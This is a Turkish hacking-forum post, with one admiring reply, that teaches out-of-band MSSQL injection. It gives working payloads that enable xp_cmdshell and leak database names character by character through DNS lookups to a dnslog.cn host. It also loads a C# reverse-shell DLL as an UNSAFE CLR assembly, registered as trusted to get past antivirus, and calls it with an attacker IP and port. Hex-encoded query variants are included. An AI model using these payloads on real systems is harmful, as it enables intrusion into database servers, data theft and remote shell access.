Mssql Out of Band Injection

bat

Üye
Mssql injection’da karşımıza çıkan time based ve blind türlerinde sql server’da sistem procedure’lerini kullanıp rahatça komut çalıştırma veya istediğimiz sorgunun çıktısını rahatça almamızı sağlayacak bir kaç tekniği anlatacağım.

1-) xp_cmdshell : sql server tarafında rahatça komut çalıştırmamıza yarar.
2-) xp_dirtree : verdiğimiz pathin altındaki dosyları listelemeye yarar.
3-) CLR(Common Language Runtime) C# kodu ile geliştireceğimiz bir fonksiyonun sql server tarafından kullanılabilmesi için ve daha farklı şeyler için kullanabileceğimiz bir özelliktir.

Başlayalım;

timebased


waitfor delay ‘0:0:10’ verdim ve resimde gördüğünüz gibi çıktı aldım. Şimdi xp_cmdshelli aktif edip denemeler yapalım

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;

xp_cmdshell


dnslog.cn 5’e bir ping -n 1 atalım ve sonucu görelim
dnslog


declare VARCHAR(8000);set @test=0x70696E67202D6E2031206333727A32392E646E736C6F672E636E;exec master…xp_cmdshell @test–

dnslogs


Gördüğünüz gibi çıktı geldi. Burdan direk reverse shell alabiliriz fakat anlatmak istediğim bu değil.

xp_cmdshell veya xp_dirtree ile sql sorgumuzun çıktısını almaya çalışalım.

declare @test varchar(1024);set @test=(select db_name());exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)

select


xp_cmdshell veya xp_dirtree ile time based ve blind sql olan yerlerde bu şekilde rahatça verileri alabilirsiniz ama şunu unutmayın dns isteğininde karakter sınırı var onun içinde substring ile teker teker çekmeniz gerekir
oda şu şekildedir

declare @test varchar(1024);set @test=(select substring(db_name(),1,1));exec(‘master…xp_dirtree "//’+@test+’.lehqud.dnslog.cn/a"’)
substring


dnssub


database adının ilk harfini almış olduk.

Şimdi gelelim clr ile reverse almaya.

C#'da yeni bir class dll projesi açıp basit bir reverse shell kodunu derleyelim (githubda tonla var)

Derledik çıktı dosyamız ClassLibrary.dll şimdi sql server tarafında antivirüs direk ötecektir bu durumda
dllimizin güvenliği olduğunu belirtmek için şunu yaparız.

Powershell’de Get-FileHash -Algorithm SHA512 .\ClassLibrary1.dll | Format-List

dll


Hash çıktımızı aldık.

E18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D

sql server tarafında assemblyin güvenli olduğunu belirtelim

;sp_add_trusted_assembly 0xE18D5B5AC63FAED983C5E89F4C664F3F5E29D609D0DA29C55AD31D6C564DAE63A770FDB76800C8CB400E8FEED54F3C4731D38608E55BD69C05A0549206F1644D;

Sıra clr yi aktif edip dllimiz hexe çevirip çalıştırmak

EXEC sp_configure ‘clr enabled’, 1;
RECONFIGURE;
clri aktif ettik
enableclr


linux tarafında dllimizi hexe döndürelim
dllbe


şimdide sql serverda assembly oluşturalım

use msdb; CREATE ASSEMBLY Bomba FROM 0x hex çıktımız WITH PERMISSION_SET = UNSAFE

use msdb; dbo.sp_executesql @statement = N’CREATE FUNCTION Bcle(@ip nvarchar(max), @port int) RETURNS INT AS EXTERNAL NAME Bomba.[Bcver.Class1].Gonder’;

Ardından reverse shell alalım

SELECT [dbo].[Bcle] (‘ip adresimiz’, 8080);
reversebc


Not: Fonksiyon oluşturma çalıştırma vs gibi sorguları declare içinde hex olarak verirseniz tırnakla vs uğraşmazsınız ve clr methodunda hex fazla olacağı için bad request’e düşebilir bu yüzden post sql injection olan yerlerde yapmanızı tavsiye ediyorum. Geri kalan bütün methodlar get vs üzerinde rahatça çalışır.

Örnek:

use msdb;declare @s varchar(4000);set @s=CAST(0x64626F2E73705F6578656375746573716C204073746174656D656E74203D204E274352454154452046554E4354494F4E2042636C6528406970206E76617263686172286D6178292C2040706F727420696E74292052455455524E5320494E542041532045585445524E414C204E414D4520426F6D62612E5B42637665722E436C617373315D2E476F6E646572273B AS varchar(4000));exec(@s)

declare @a varchar(4000);set @a=cast(0x53454C454354205B64626F5D2E5B42636C655D2028276970206164726573696D697A272C2038303830293B as varchar(4000));exec(@a)
 
Moderatör tarafında düzenlendi:

0x0fy

Üye
Eline sağlık abi 10 numara makale olmuş , hem sitenin panelinden shell atmak dururken Out Of Band Injection yapmayanda ne bilim 😂
 
  • Like
Tepkiler: bat
Üst